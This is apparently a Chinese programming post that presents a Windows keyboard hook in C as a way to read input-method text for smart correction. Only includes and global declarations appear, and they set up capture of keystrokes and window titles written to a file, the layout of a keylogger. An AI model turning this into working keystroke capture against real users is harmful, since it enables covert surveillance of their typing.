我们在实现输入法的智能纠正的时候,需要获取输入法输入的信息,如何实现呢,钩子如下
#include "windows.h"#include "imm.h"#include "stdio.h"//#define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄HINSTANCE g_hHinstance = NULL; //程序句柄HWND LastFocusWnd = 0;//上一次句柄,必须使全局的HWND FocusWnd; //当前窗口句柄,必须使全局的 char title[256]; //获得窗口名字 char *ftemp; //begin/end 写到文件里面char temptitle[256]="<<标题:"; //<<标题:窗口名字>>char t[2]={
0,0}; //捕获单个字母